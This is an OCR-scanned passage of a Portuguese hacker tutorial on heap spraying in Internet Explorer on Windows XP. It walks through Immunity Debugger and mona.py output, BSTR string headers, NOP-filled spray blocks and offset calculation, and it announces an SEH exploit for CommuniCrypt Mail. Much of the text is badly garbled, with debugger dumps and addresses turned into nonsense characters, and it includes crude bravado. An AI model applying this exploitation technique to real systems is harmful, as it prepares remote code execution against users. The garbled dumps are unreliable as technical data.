string pra heap com a malloc(), inicializei a dita, e por isso ela foi copiada da stack para a heap.

. =x dump
BHESFSACC
BESF SR04
BESFSA0C
BESFSAES

[ElEh=] =g | =y [RE =

Lembre-se de que ndo vou procurar por essa string exorbitante porque isso ¢h coisa de lamah, e ey
sou hacku da elite, da mais undigrud elite hacka, s6 abaixo dos coroas da THC e do Struck, e por
isso resumi a mesma na sintaxe de busca (MNOPOSS). Desse ponto para o inicio da mesma sdo
exatos 12 letras/caracteres ASCII, ou seja, 12 bytes. Entao:

BEZEFFAC| EmBOZEFfdc : "HHOPGSS™ | =t
@EZFIACC]  Pe@AZfZacc : "HMMOPRSS” | =t

d 0x003f3acc-12

Address ex dump

BA3F3ABA 2 ««lf, AB
BAZF3ACE COEFGHIJ
HEZF2ACA KLMHOPRS
BAZF2A02 [5I
BAZF2A0A

BA3FZAEZ
HAAZIF20F0 wenstom=

Observe que o Imunidade (duh!) mostra os dados de 8 em 8 bytes em Hexadecimal e ASCII em
cada linha no padrao de visualizacao Hex/ASCII (& bytes) = Basta clicar com o botao direito do
mouse na heap p/ alternar entre os padroes de visualizacao.

L

[y R |
AL

Appearance




O que voce precisa agora € alternar para esse ao lado:

Hex dump Disassembly

AE3F3AEBR @906 OF DWORD PTR DS: [ERX],ERX
BOSFSAEC 90 G1ACHA41 424 CALL FAR 4342:41886061
BEZFIACS 44 IMC ESP

ABZF2ACY IMC EEP

AEZF2ACE INC ESI

AB3F3ACE IMC EDI

ARRFRACT NFr FAk

Ops, alguma coisa nao deu certo. Repare alith que o endereco de memoria 003F3ABC guarda o
opcode ... repare que o dissasembly (a “traducao” desses opcodes) corresponde exatamente as
letras iniciais da string que inserimos na heap (41, 42, 43 — A, B, C respectivamente).

Addre Hex dump Disassembly Commen t
BESFZABC  9A B18CEa41 424: CALL FAR 4342:418086CH1 Far call
ARAFAACE 44 THI® FEP

Abra a janela de log do immunity e vamos chamar 'call' esse endereco a partir de lah.

VMMZZFFSE | MEUESSE RS 8 CHELUEFOHLJRLIAUEESS:S 0 STArtnuLL
BE3F3ACH| Br@E3f3acH @ "HECOEFGHIJKLMMOPEISS™ | startnull

BEIFZACA

BEZFZACL

BAIFIACE

BEIFIACE

BA3FIACY

BEIFIACE

BA3FIACE

BEIFIACT

BAIFIACE

BEIFIACT

BEA3FIACA

BEIFIACE

BRIFIACC

BEIF2ACO

BEAIFZACE I
BEIFIACF PUSH ERX

Pimba! Era isso que tinhamos que fazer! Gosto de pensar essa phrase quando to jogando =P Entao
a nossa string comega a ser escrita na memoria exatamente no endereco 003F3AC0. Agora entdo
finalmente posso explanar o funcionamento da base sequencial de enderecamento. Vamos tomar
como base essa montada na memoria mesmo. Acredito que voce se lembre qual a base sequencial
de enderecamento que a heap usou “para esses dados dados”. 0 e & lembra-se? Seguindo aquele
conceito da stack entdo ficaria: 01234567 89ABCDEF *esse sim tem coerencia*. Let's see it!
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BCDEFGH IJKLMNOP QOSS
1234567 89ABCDEF 012

003F3ACO = 003F3ACE =0
003F3AC1 =B 003F3ACF =P
003F3AC2=C 003F3ADO =Q
003F3AC3 =D 003F3AD1 =S
003F3AD2 =S

H

003F3AC9 =]

003F3ACA=K

003F3ACB=L

003F3ACC=M (ndo precisa ser engenheiro pra entender)
003F3ACD =N

Veja aih na sua heap que o endereco corrente ¢ 0 e 8, mas o adjacente continua se repetindo em dois
em dois, dando a entender que a alocacao ¢ feita de dois em dois bytes “apesar de tudo”. Entao para
“todo tipo de alocacao” vai ser assim:

BesFaAcl | eoiDezzd
BEIFIACS  |eoiDEZEC | Beicined

BOSFA0L | oeiDEZad
BESFIA0D BE10B230C EE%E%EEE

Compreende agora o que toda essa “versatilidade” do endereco corrente na heap inferi? Que ela

pode alocar qualquer tipo e quantidade de dado, mas sempre com o padrao unicode sendo seguido.
Vou codar um exploit local para o programa CommuniCrypt Mail 1.x , para servir de base, relaxa.
Vale enfatizar que ndo vou usar o metodo de exploracao de overflow tradicional, vou sobrescrever|
0s ponteiros da memoria ateh alcangar o SE Handler, ou seja, vamos escrever um SEH exploit.
Aeee! O que veremos de agora em diante ¢ como carregar o modulo vulneravel a Heap Spraying
pra memoria usando JavaScript e como o BSTR header ¢ disposto na mesma; ou vocé€ pensou que
era simples assim essa tecnica dos hacka? Mas antes veja como ¢ uma heap sprayada:

ex dump

5] REF
BEESZACH
BEESZACL
BEBSZACE
BEESZACS
BEBSZACY
BEESZACE
BEBSZACE
BEESZACT
BEBSZACES
BEESZACT
BEASZACH
BEBSZACE
BEESZACT
BEESZACD
BEESZACE
BEBSZACE
BEESZA0E
BE52A01
BEESZA02
BEacZA02
BEaS2A04
BEESZA0S
BEBS2A0E
BEESZA07
BeaS2A0S
BEESZA0F
BEBS2A0R
BEESZA0E
BEBSZA0C
BeEE2A00 Appearance
BEESZA0E
AEEAC=HN




O retorno do stack frame da funcao vulneravel contida no modulo a ser exploitado vai saltar para)
(nesse caso em especial) o endereco de memoria 06060606, endereco esse que guarda NOPs, e tudo
desse ponto em diante serah NOPs ateh alcancar o inicio do shellcode, ou seja, os opcodes que
executarao uma dada acao. Um outro detalhe que acredito que seja importante ressaltar € o fato de
que podemos importar um executavel para o Immunity passando parametros para o mesmo durante
a importacao. Como vocé pode ver logo abaixo.

Open 32-bit executable

Basta inseri-los no “nada sugestivo” campo 'Arguments:', ou seja, para o proposito de fuzzing, um
chunk de AAAAAAAAAAS ou qualquer outra coisa. Vamos dar prosseguimento ao material.

Buscando o endereco de retorno

plentyofbytes.html




BEAOFEA0| [+] Writing results to find.tdt
BEADFBE0 - Mumber of pointers of type "ME_Eldck9_fBnETt 2
HEADFEED [+]1 Results =
BEIF3E1A BrEE1f351a @ & _Eld4ck?_fOréE™ | startnull,asciiprint,ascii
BAEZACF2A BEE2EAcf2a ¢ "E_El4ckI_fEHE™ | startnull {PAGE_REROWRITEX}
BEADF&E0

[+] This mona.py action took B:E8:83, 2216068

{PAGE_READWRITEY [Monel [Heapl
[Mone]l [Heapl

Imona find -5 "'6_Bl4ck9_f0xb" -ascii x*
Encontramos dois ponteiros para -ascii na heap, vamos ver para unicode.

BEADF &0 - E HuTber of pointers of type ""E_BldckP_fORE™ (unicodel" @ 14
+ =Sy lts 1
BrEE3Icesc ¢ e B l4ock9_fEaE™ (unicode) startnull {PAGE_REROWRITE} L[Honel [Heapl
BEE3IcIE2 @ e B l4ock9_fEaE™ (unicode) startnull {PAGE_REROWRITE} [Honel [Heapl
BE15323188 @ "&_Bl4ock9_f@aE™ (unicode) {PAGE_REAOWRITE} [Honel
BE1533a56 ¢ "E_Bl4ock9_f@aEe™ (unicode) ascii {PAGE_READWRITE} C[Honel
BrE1533c5a ¢ "E_Bl4ock9_f@aE™ (unicode) ascii {PAGE_READWRITE} C[Honel
BE1535450 @ "&_Bl4ock9_f@aE™ (unicode) ascii {PAGE_READWRITE} C[Honel
BE1535a10 @ "&_Bl4ock9_f@aEe™ (unicode) ascii {PAGE_REAOWRITEY} C[Honel
BAE1538598 @ "E_Bl4ock9_f@ae™ (unicode) L{PAGE_REAOWRITE} [Honel
BrE1538aad @ "E_Bl4ock9_fEaE™ (unicode) L{PAGE_REAOWRITE} [Honel
BrE1538caa @ "E_Bl4ock9_fEaE™ (unicode) {PAGE_REAOWRITE} [Honel
HrEdlebcfa @ "6_Bl4ckS _fERE™ (unicode) startnull {PAGE_REAROWRITE} [Monesl [Heapl
BaEElfFE3c @ e B l4ock9_fEaE™ (unicode) startnull,asciiprint,ascii {PAGE_REAOWRITE} [Monel [Heapl
BrEE2Egacs @ "E_Bl4ock9_fEaE™ (unicode) startnull {PAGE_REROWRITE} L[Honel [Heapl
BrEE2ae384 @ e _Bl4ock9_fEaE"™ (unicode) startnull {PAGE_REROWRITE} C[Honel [Heapl

[+1 This mona.pw action took B:686:603. 546688

Imona find -5 ""6_Bl4ck9 f0x6" -unicode -x *

Isso infere que os dados s@o postos na heap tambem como ASCII e de alguma forma mediunica sao
convertidos em unicode (digo isso porque escrevemos ASCII; o que estah no endereco de final la e
2a) e realocados (postos em enderecos distintos sequenciais partindo da alocacao do ascii; 0020cf2a
para 0020e904, que por incrivel que pareca, ¢ multiplo de 2 =). Para saber isso basta escrever uma

potencia de acordo com o endereco, na calculadora *hex*, ou seja, x + x (no caso) e depois € s6 ir
apertando enter que vemos o seu multiplo *cuidado para ndo sobrepujar®* — Aprendi isso com a|
minha professora de matematica lah de Quixeramobim, do liceu (manja muito!), mais uma ilustre
fomentadora da cena hacker brasileira (mesmo que indiretamente). Depois do reboot da minha
maquina refaco os testes de buscas e obtenho esse resultado:

BEADFEAD = Mumber of pointers of twpe ""E_Bldck9 _fEums™" = 1

BEADOFEE0| [+] Fesults

SEESEEEE BRERZEA67Is ¢ "E_El4ck9_@46" | startnull {PRAGE_REAOWRITE} [Monesl [Heapl
[+]1 This mona.pw action took B:@8:63, 158088

Imona find -5 "'6_Bldck9 f0x6" -ascii -x*

HEAOFEED = MHumber of pointers of twpe ""6_Bl4ck9_fBr6" (unicodel’ @ 15

AEBADFEE0 [+71 Re=nlt= =

BEIICESC BrBE3AcE5c 1 e _Bl4ck9_fBr6"™ (unicods) | stactnull {PAGE_REAOWRITE} L[Honel [Heapl

HEZICIEZ BrBAE3AcEE2 1 e _Bldck9_f@ne"™ (unicode)] | stactnull {PAGE_REAOWRITE} [Honel [Heapl

Bi533183 BrE1533188 @ "&_EBl4ck?_fOqE™ (unicods) | {PAGE_REAOWRITEY} [Honel

H1553A5E Br@E1533a56 ¢ "E_Bld4ck9_f@ne"™ (unicode) | ascii {PAGE_REROWRITE} L[Honel

H1533CEA BrE1533c5s @ "&_Bl4ck9_fBx6"™ (unicode) | ascii {PAGE_REROWRITE} [Honel

H1535450 BrE1535458 @ "&_Bl4ck9_fB@n6"™ (unicode) | ascii {PHGE_REROWRITE} L[Honel

H1535A1A BrE1535518 @ "&_Bl4ck9_fBx6"™ (unicode)] | ascii {PAGE_REAOWRITE} [Honel

B1535535 BrAE1E38598 @ &6 _EBl4ck?_fOqE™ (unicode) | {PAGE_REAOWRITE} [Monel

H1532AAG Br@A15335a5 @ "E_Bl4ck9_fB@ne™ (unicode) | {PAGE_REROWRITEZ} [Maonel

B1535CAA BrA1538cas (@ "6 _Bl4ck9_fBn6"™ (unicods) | {PAGE_REROWRITE} [Honel

H1559364 Hplsg98ed @ " _Bldck9_fB@ne"™ (unicods) | {PAGE_REROWRITE} [Monel

BE109EZC BrEElddedc @ & _Bld4ckP_fOrE™ (unicode) | startnull {PAGE_REAROWRITE} [Honel [Heapl

HE1ELIBZ BrBdlellbs @ "&_Bld4ck9_f@n6"™ (unicode)] | stactnull {PAGE_REAOWRITE} [Honel [Heapl

HEZEGHEC HrAHzZE6Hec: @ "&_Bl4ck9_fBné"™ (unicode)l | startnull {PAGE_REAOWRITE} [Honel [Heapl

Sgggggég BrA0zZEbHls @ "E&_Bl4ck9_fBR6"™ (unicode)l | stactnull {PAGE_REAOWRITE} [Honel [Heapl
[+] This mona.py action took B:@0:B84. 935088
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ote esse padrao de escrita na heap, talvez seja util pra ti como ponto de partida para uma posterior
mais aprofundada analise. Se bem que em uma outra ocasiao aloquei uma string distinta e obtive
um resultado controverso a esse, mas.. *Como o Nash mesmo falou* Acredito que nenhum sistema
do mundo rode de forma totalmente aleatoria, as maquinas devem (por questao de logica) seguir um
“padrao” de operacao. Talvez funcione da mesma maneira que um keygen que gere um codigo de
ativacao de acordo com uma string escrita, enfim, o “padrao” de alocacao pode se da de diversas
maneiras, cabe a voc€, com o seu suor, descobrir qual *eu vou terminar mais um jogo no meu ps2*
:) Tambem acredito que ndo tenha mencionado o fato de eu estar mandando esses shots do
XP/SP2, mencionei o terceiro issue da franquia (Service Pack 3) no inicio do paper por mera
formalidade, pois o shellcode que vou utilizar (a efetivacao do ataque propriamente dita) roda em
ambas plataformas, bem como as sintaxes (endereco de ) e conceito.

L+1 HESULTE 2
183%0eko ¢ 16 Bl4cka faueT (unisode)
'Vamos dumpar esse endereco com o comando . Essa instrucao corresponde exatamente|
a0 duplo clique sobre o endereco na janela de log; sdo apenas aliases para se chegar ao mesmo local
dentro do Immunity (no qual vemos como estah distribuida a memoria referente ao programa), o
dump:

BEISCEED
ABISCEES
BEIICEED
BEZCETS
BEZICETC
BEIICESS 63

Observe que as strings que alocamos na heap sao convertidas em unicode, 2 bytes (voce sabe o
porque). Dessa vez a funcao utilizada para a alocacao foi a :
Dumpe os quatro bytes previos a esse endereco-4. Veja esse shOt pra lembrar de que as strings na|
heap/a heap cresce do menor endereco pro maior e para ver que todo o codigo da pagina tambem :)

AEZAETEZ u. a3, <h

HHZBETER trmlr. s

BEZOGFGE cript Tty

HEZHEFEH pe="tent

BRZBETTE sJavascr

AEZEETFH ipt™r. ..

HAZBEFE2 SMar nic

BEZEGFEH k = new

HEZBETIZ Stringl™

oot 4% Todo o codigo da pagi
_fBme"l;

SSESE?EE T decume 0odo 0 cCco lgﬂ d pﬂgll‘lﬂ
nt.write = —

BEZEETER Cnick + eh escrito na hEﬂp }—)

HEHZBETC2 " iz an

BEZEGFCH rEmory ]

BEZEEFOZ P..Windo

328 7 0F W.alert

AEZAEFES ["Fress

HHZBETER Ok butto

BEZBOGFFZ n to fre

BEZEEFFH = Up MEM

BEZEE2A2 &F ory spac

Vejah que ateh o codigo <htmlI> estah na heap. Veja o topo da heap:
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Hddress ex dump
AESEEAE
HESE8A3
BEZEE1E
AEZIEE12
AESEEZE
HESEE2S
HESEEIE
Ba33083E

Observe que a base ¢ 00390000 e ela vai crescendo de 0 a 8 (para o exemplo de alocacao que dei a
ordem ndo importa). Na medida que ela cresce os enderecos vao sendo incrementados e bytes vao
sendo inseridos na mesma proporgao, entdo isso infere que alcanca quatro bytes antes
da string. E ¢ exatamente isso que queremos.

Hdd = =x dump
BESACESS
BESCEEE
BEASACEED
BESACEFTE
BEIACE TS
AEHSCESE

d 0039cb5c-4

O cabecalho BSTR

Como voce viu, quando uma string eh alocada na memoria ela eh convertida em unicode, um
detalhe que nao mencionei ateh o presente momento eh que essa unicode string na verdade estah
dentro de um header chamado BSTR - Basic String or binary string, nao vou pormenorizar o tema,
basicamente saiba que esse header estah disposto da maneira descrita adiante. Reiniciei a maquina
mais uma vez e rodei o script plentyofbytes.html mais uma vez, soh que dessa vez a string eh

'mona find -s "raposanegra" -unicode -x *

Mas o endereco ¢ o mesmo do test previo. A principio podemos averiguar que a Unica distincao
entre ambos os logs eh o segundo endereco na heap (final c7fe - [heap])

HEADFEAD [+]1 Results =

HEIICESC BrBE39cE5c @ "raposanegra™ (unicode) startnull {PAGE_REAOWRITE} [Honel] [Heapl
BEIICTFE BrEE3cFFe @ "raposanegra™ (unicode) startnull {PAGE_READWRITE} [Honel [Heapl
H1E33188 BrA1533188 : "raposanegra™ (unicode) {FPAGE_REROWRITE} [Honel

B1533H5E BrE1533a56 @ "raposanegra™ [unicode) ascii {PHGE_REAOWRITEY} [Honel

B1533CER BrE1533c5a @ "raposanegra™ (unicode) ascii {PRAGE_REAOWRITE} [Honel

H1535450 BrA1535458 @ "raposanegra™ (unicode) ascii {PAGE_REAOWRITEY} [Honel

B1535H1A BrE1535a18 @ "raposanegra™ (unicode) ascii {PHGE_REAOWRITEY [Honel

Q1535593 BrAE1533592 @ "raposanegra™ (unicode) LPAGE_REROWREITE} L[Honel

H155EAAG BrE1532aa6 @ "raposanegra™ (unicode) {FAGE_REROWRITE} [Honel

B1535CAA BrE1538cas :rapnsanegra: E“”lGDEEE L{FAGE_REAOWRITEY} L[Honel

[ R mpmlm bu P | FoRAICI028A . s o e e T B roocc DCNRLDRTTE Y FTheAs -~

Dessa vez a escrita foi um pouco mais abrangente, no que diz respeito a “padroes”, pois alcangou o
enderego 0x01539364 *ta um pouco cortado no log acima*; esse eh um dos resultados dos logs
previos (depois do ultimo endereco marcado no shOt *vide final da pag. 40*). Vamos dumpar o
endereco selecionado (d 0x0039¢65¢);




Hddress =x dump
ARSACEED
BESACEES
BESICEET
ARSCETS
ARSACETC
BESACESS
BESICEEC
BEIACETS

sgopruoD g

Escreva no interpretador de comandos o mesmo comando de dump, soh que dessa vez voltaremos 4
bytes antes da string com o intuito de vermos o inicio do header no qual essa string faz parte. Nao
eh nem de longe dificil entender o header (soh se voce for muito mula — lembre-se de que esse
documento eh privado =) *os macacos que se fodam*. Bem, primeiramente veja onde ele se inicia

no dump (d 0x0039¢c65¢ );

HESACESS
HESACELE
BEAZICELE
HEZICEFH
BEZIICETE
BE35CEED

O wpITL jan)

Ou seja, 4 bytes antes da string. Observe abaixo que o header termina com dois caracteres nulos

logo apos o fim da string em unicode:

# dump
HAZICEES 16 BB P2 B8 &1 BB
AAZ9CEER FA BE 72 88 &1 B

5} E.D.
BAZICEES &E BB &7 B8 72 Eg Naga
T

BEICLTE &l Ba OF 2% 28 2

Risquei um diagrama abaixo pra explanar melhor o bagulho.

String in unicode format

Terminador
2 bytes

Em Size temos nada mais que quatro 4 bytes destinados unicamente a mostrar o tamanho (

) da string em unicode logo ao lado; esse valor ndo inclui o terminador de string
string raposanegra possui 11 caracteres, mas vale te lembrar de que, ja que se trata de uma string
unicode entdo cada caractere ocupa dois bytes na memoria devido a insercao do 00 ao fim de cada
letra ASCII. Portanto essa string ocupa 22 bytes em decimal (dec na calculadora), e seu

correspondente em hexadecimal equivale a 1 @ @7 @&
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Escreva qualquer numero decimal (dec) na calculadora cientifica (opcao exibir —> cientifica) ¢
logo apds marque a checkbox hex para ver o seu correspondente em hexa. Te lembrando de que o
esquema de '0' a F eh soh pra enderecamento, na calculadora eh apenas 1 a F.

ecessitamos deter um previo conhecimento basico a cerca do BSTR Header com o principal
proposito de evitar “transtornos futuros” durante a escrita do exploit. Escreverei um script para
expor bem o que quero dizer com “transtornos”.

Spraying-effect.html




Tentei deixar o script menos turvo possivel *como voce nota*. Vamos agora analisar os resultados.

Microsoft Internet Explorer

[\-.‘ stop smoking in here!
-




a primeira ocorrencia vocé€ pode averiguar o numero decimal 32768, ou seja, desse ponto existe
esse numero de NOPS na memoria. Esse ¢ o numero equivalente a 8000 em hexadecimal. Abra aj
calculadora escreva o decimal e logo em seguida marque a checkbox hex para ver seu
correspondente. Ok, tudo ocorreu como previamos, observe ao lado que a volta final foi [199], ou
seja, 200 alocacoes partindo do [0], no qual tambem eh o inicio do indice, que nem em C e outras
linguagens de niveis de programacao referentes a memoria, porque como sabemos o sistema usa o
hexadecimal inicialmente em 0 para enderecamento, e javascript (o que estamos fazendo) tambem
lida com memoria. Entao o que de fato houve foi:

A cada nova interacao do while a variavel bloco que foi previamente inicializada recebe essa
quantidade de NOPs += ela mesma, ou seja, vai sempre se enchendo de NOPs ateh a ultima
interacao do laco, para no fim comportar o valor total de 0x80000; mas observe que logo abaixo o
resultado depois do substring() foi 16380, que equivale a 3FFC. Se inserirmos mais 4 bytes a esse
montante decimal o valor total serah 16380 + 4 = 1638 , no qual possivel como seu correspondente
o valor 0x4000 ( ). O leitor astuto observarah que a unica razao para isso ter
ocorrido estah na linha anterior, no trecho de codigo concernente a passagem de comprimento
( ). Humm.. mytag de 4 bytes? Falarei adiante. A partir dai

Todas as interagoes do laco sequentes criarao blocos na memoria de ' + NOPs'. Nao se
esqueca de que previamente soh havia NOPs na memoria, mas a cunho de estudo montei na mesma
mais blocos se iniciando com nossa etiqueta ( ). Nos valendo do fato da Heap escrever os
dados encaminhados a ela de forma contigua inferimos entdo que as alocacoes se dao proximas.

BESSE1E4| Onoeoogied @ "iungdus” | {PAGE_READWRITE} CHonel

HZ59E1FC BAEZ25901fc ¢ "lungdus™ | {PAGE_REAOWRITE} [Honel

H2598214 BrE2598214 ¢ "lungdus™ | {PAGE_REAOWRITE} [Maonel

SEEEFSSE ew Onlw the first 28 pointers are shown here. For more pointers, open find.tdt...
[+]1 This mona.py action took B:86:6E5. 234860

Imona find -s "lungdus"|

, esse dois bytes sobressalentes sdo correspondentes a inicializa¢dao da
variavel. Todas as vezes que inicializamos uma variavel:

AEZEANENL CEAYIERTIN ]y o
| EnEEEOGE lunadusk. . J0ant i
BEz2EnaF 4 dade_de_blozos =
BEzE016E4 208 <o BudBE008
BEzE01 14 * 2 - @H3EEa (32
AEzE01 24 TEE decl..tamanh
aEzEnl 24 o_do_bloco = @14
BEZE0144 B@AE: < paht..bl




trnull {Pi !
startnull { PJL'_YE READWRITE} [Io -n-—-]

Veja alih em cima uma ocorrencia da nossa string no codigo da page, os dois pontos equivalem a
“proxima linha”. O outro byte sobressalente as 200 alocacoes ¢ a ocorrencia concernente a *iniciali-

zacao do arranjo™:

BiE 1 BEEFC

BE1B&1EC nonIEﬂ!BL LDrBa
HE1BE11C 5] }#Uﬂ*USFufnl%l.
BE1BE12C CE

BE1EBE1SC

BE1BEL4C

BEIBE1SC

BEIBE1ED

BEIBE1VE

HE1BE18C

BE1BE19C

BE1E&1AHC

BEIBE1BC

BEIEBE1CE

BE1BE10C

BEIBS1IECD dat,

BEIBE1IFC .

BE1BE2EC faas

HE1BE210C b+. 3 'pIaoiB

d 0x<001b60dc

[Mone]
[Hone]

A mesma eh “realocada”/reiniciada nessa regiao de memoria para que, todas as vezes que seu uso
for necessario (pelo arranjo) o programa saber onde ela estah. Por isso encontramos mais duas
ocorrencias adicionais de lungdusk nos logs do imunidade (dois adicionais no SP2). O conceito de
todos os progs do planeta eh esse, o prog aloca a string na memoria e todas as vezes que precisa
encontra-la, vai diretamente no endereco onde estah ela };) Certo, na janela de log estah escrito
que apenas os 20 primeiros enderecos de ponteiros podem ser vistos na mesma, o resto dos logs
(para mais ponteiros) necessitamos abrir o arquivo find.txt (esse arquivo acima). Entao faremos|
isso, vamos dumpar o endereco da ultima alocacao.

\Arquivos de programas\Immunity Inc\Immunity Debugger\\find.txt

Esse arquivo ndo ¢ sobrescrito, quando se faz necessaria a escrita de novos logs o imunidade se
encarrega de criar um novo com o mesmo titulo; os previos ao corrente que sdo nomeados como
find.txt.old, find.txt.old2 e assim por diante, sempre dando sucessao a ordem numerica sequencial.

Ox001£55de @ "lungdusk™ startnull {PAGE_READHEITE} [Mone] [Heap]
Ox00Z0e0cc @ "lungdusk™ startnull {FPAGE READWRITE} [MNone] [Heap]
Ox0022al114 @ "lungdusk®™ startnull {FAGE READWRITE} [MNone] [Heap]
Ox00zZ267f2c @ "lungdusk®™ startnull,ascii {PAGE READWRITE! [None]
Ox0026ff44] = "lungdusk™ startnull {PAGE READWRITE} [None]
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Apenas como o intuito de analise vamos dumpar o ultimo endereco apresentado no arquivo de log.

Hdd = |Hen dump
BE2EFF 44
HEZEFFE4
HEZEFFE4
BEZEFF 74
HEZEFFE4
BEZEFF 34
BEZEFFA4
HEZEFFE4
HEZEFFC4
BEZEFFO4
HEZEFFE4
BE2EFFF 4
HEZFEaEa4
BEZ27EE14
BEZ2FEEZ4
HEZFEE34
HEZ27EE44
HEZFEES4
HE27EEES
HE27EE74
HEZFEBE4

d 0x0026ff44|

Veremos agora o cabegalho BSTR para sabermos quantos bytes (de fato) foram alocados nessa
“unicode string” ,) d 0x0026ff44-4

BEZCFF4E @8 28 88 68 oC 75 6E &F &4 75 V2 6B 9@ 98 90 20 .G.. lungduskEEEE
BEZEFFEE 98 98 98 98 98 90 98 96 90 90 90 90 90 90 90 90 EEEEEEE
BEZEFFEE 20 28 28 28 90 290 20 D8 90 90 20 D8 98 90 20 00 £ El
ARPAFFYA 9@ 9@ 9@ 90 9A 9@ 9@ 9@ 90 9@ 980 98 98 98 9@ 9R FEFFFFFFFEFFEFEFR

0x00008000... han? Mas pensei que o script havia alocado 16384 (veja no log!). Certo, o que
houve? Simples, o que ocorre eh que a propriedade ./ength quando usada com unescape()

menos quatro bytes do valor total (su012u02%u03%04). O que houve eh que realmente foi alocado na
memoria dec:32768 hex:8000, mas na instrucao abaixo os dados sdo cortados pela metade:

esse caso 0x4000 — 4, que equivale a em decimal. O que achei mais interessante ¢ que o tal
do c0d3r nao mencionou, eh o fato de que depois que a string eh “reinicializada” (em um indice no
array) uma ocorrencia adicional eh inserida na memoria. Acredito que seja soh no SP2, os testes
dele foram no 3. Nesse caso abaixo temos entao 4 bytes (string) + 16380, valor do bloco.

arrayfulero[contador] = mytag + bloco;
document.write (mytag.lengtht+bloco.length);

Q0 98 @ 0 90 98 EEEEEEEEEEEEEEEE
Q8 98 9@ 98 9@ 90 EEEEEEEEEEEEEEEE
Q8 98 30 98 9@ 90 EEEEEEEEEEEEEEEE

wh wvEl. . CL . lung

EEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEE

FFFEFFFFEFFFFFEFF




Observe no shOt acima a proximidade entre as alocacoes. Em alguns casos vocé verah “muito”
garbage, ou seja, “lixo” (na verdade sdo 00 00 00 00s) entre um bloco e outro. No meu caso em
especial tentei achar esse tipo especial de lixo pra voces verem no SP2 e SP3, mas sem sucesso
algum; nesse caso acima e na grande maioria dos caso soh temos o lixo padrao =P Ou seja, tudo que
sobressai o terminador da “string” (90 90 90 90), ou seja, o 00 e tudo que estah antes do inicio do
BSTR header da proxima alocacao eh, para nosso proposito em especial, lixo.

EEEEEEEEEEEEEEEE

EEEEEEEEEEEEEEEE

wh w0, 5. . lung

EEFEFEEFEFFEEEEF

Lembre-se de que originalmente foi alocado
endereco de alocacao (por “exemplo”) em find.txt+0x4000 temos provavelmente NOPs.

Hex dump

44
HEZFIFE4
HAZ272FE4
BEZFIF74
HEZFIFE4
HE272F 94
HEZF3FA4
HEZ27SFE4
BEZFIFC4
HEZFIF04
HEZ272IFE4
BEZ2FIFF4
HEZ74884
HE274814
HEZ 74824
AEZ274834
BE274844
HEZ274854
BEZ27 4864
BEZ2 74874
HEZ 74834 EEEEEEEEEEEEEEEE

Address |Hex dump
BEZ7FFS4
BEZ7FF 44
BEZ27FFE4
BEZTFFES
BEZ7FF 7S
BEZ7FFE4
BEZTFF94
BEZ7FFAS
BEZ7 FFE4
BEZ7FFCS
BE27FFD4
BEZ7FFES
BEZ7FFF 4

d Dx0026ff44+8000




BEADFBAD
BEADFEE0| Jzag:s of command "offset’
BEADFEA0

Calculate the number of bwtes between two addresses. You can use
registers instead of addresses.
Mandatory arguments :
—al <address> : the first address-register
—al <address¥ i the second address-register
BEADFSE0
[+]1 This mona.py action took B:E@E: @6

Imona help offset |

Em alguns casos eh de significativa importancia saber que o esse “lixo” entre um bloco e outro
soma bytes na memoria. O mona disponibiliza uma funca chamada que permite-nos calcula
o numero de bytes entre dois enderecos (podemos especificar registradores ao inves de enderecos).

CPU - thread 00000B40 , module ntdll

HEZEFF@a4
HEZEFF 14
BEZEFF 24 EEEEEEEE. . EEEEEE
HEZEFF 34 EEEE¥F¥F . ...
HEZEFF44

[T gy ey

BE2EFFEd
BEZEFF74
BE2EFF2

Imona offset -al 002624 -a2 002644

Ao darmos um duplo clique sobre a guia 'hex dump' podemos alternar entre 8 e 16 bytes o modo de
visualizacao, entdao isso quer dizer que duas linhas inteiras somam 32 bytes. Vamos ver quantos
bytes existem na memoria partindo do endereco de final 24 ateh 44.

Of fset from BRBAZEFF24 to BHBE2EfF4d @ 32 (BREEEEEEZE) butes
Jrmp of feet 1
[+]1 This mona.py action took B:@@:E8

32 em decinal (0x20 em hex), essa eh a quantidade de bytes entre um endereco e outro. A partir
desse conceito vamos agora determinar a quantidade de bytes entre o primeiro bloco
registrado no arquivo de log e o ultimo; seguindo a forma rotineira de leitura. Primeiramente de
cima pra baixo, seguidamente faremos o oposto disso e analisaremos os results.

'mona offset -al 0x0265004c -a2 0x0026ff44
'mona offset -al 0x0026ff44 -a2 0x0265004c

BEADOFB80| Of fzet from BHEZEEEE4s to BHABZEFF44 1 —-37E17928 (BufdoclfefB8] bytes
BEBADFEAE0 Megat ive Jdmp offzet @ ~ufSsnfesucl-nfd
[+] This mona.py action took B:00:8Q

BEBAOFEA0| Of fset from BXEEZEFF4d to BHEZEEEA4c @ S7YE1V92E (BREZ3eE182) bytes
BEADFEE0 Jmp of fset =
[+]1 This mona.py action took B:E@E: @6




Os resultados de uma outra alocacao seguem: !mona offset -al 0x001fa051 -a2 0x036e2af4

BEADFEB0| Off=et from BREALfaAE]l to BRE3Ce2afd4 1 SE47E947 (BHAS4:=82a3) butes
BEADFEAE0| Jnp of Fset
[+] This mona.py action took Bi@8:EQ

Imona offset -al 0x001fa051 -a2? 0x036e2afd

Sem offset de pulo negativo, limpo e enxuto. Vou mostra pra voces aih como se faz a especificacao
de registers.

TrAGEEEA | Modu les C:~WIMDOWS swstem32-~CRYFTS2.dL 1
FrBoBEEE | Modu les C:~WIMDOWSswstem32~MSASHL. AL L
Frie@aaa | Modu les Cr:sWIMDOWSsustem32~0LEAUTSZ2.dL 1
41414141 | [23:35:53] Hoocess wiolation when executing [414141417
BEADFEE0 | Of f ==t from Bxdidididl [EEBP]  to GuEE22Fff7E [ESP] @ —1092581969 (Grbeslbe2f) butes
BEADFBAD  Megat ive jimp offset @ sH2f~ubesuelube
[+]1 This mona.py action took H:0BE:E0

Imona offset -al ebp -a2 esp

E eu que pensei que eram soh quatro bytes hausdhuashd! Bem, na pratica sao. O shOt acima aih foi

o] el ol =L 3 Fl9l%lY%l HHHH
soh pra voces verem como eh que se da o bagulho. m 31414141 Aae

EE N e TaTalal

Vale te lembrar de que “!mona find -s "lungdusk" -x rw’ apenas registra as ocorrencias
, lembre-se de que antes desse endereco existe soh NOP alocado. Dumpe o primeiro endereco
no arquivo de log e volte alguns bytes para ve-los:

EEEEEEEEEEEE . . EE
WA . £, . EEEE

Lembra da sequencia que a heap aloca os dados (cima — baixo) e veja que esse eh realmente o
inicio de tudo, veja ali no canto a barra de rolagem dando a entender isso. Agora a parte que eu
particularmente mais gosto 'cause absence of vanity does not mean security nor sediment.







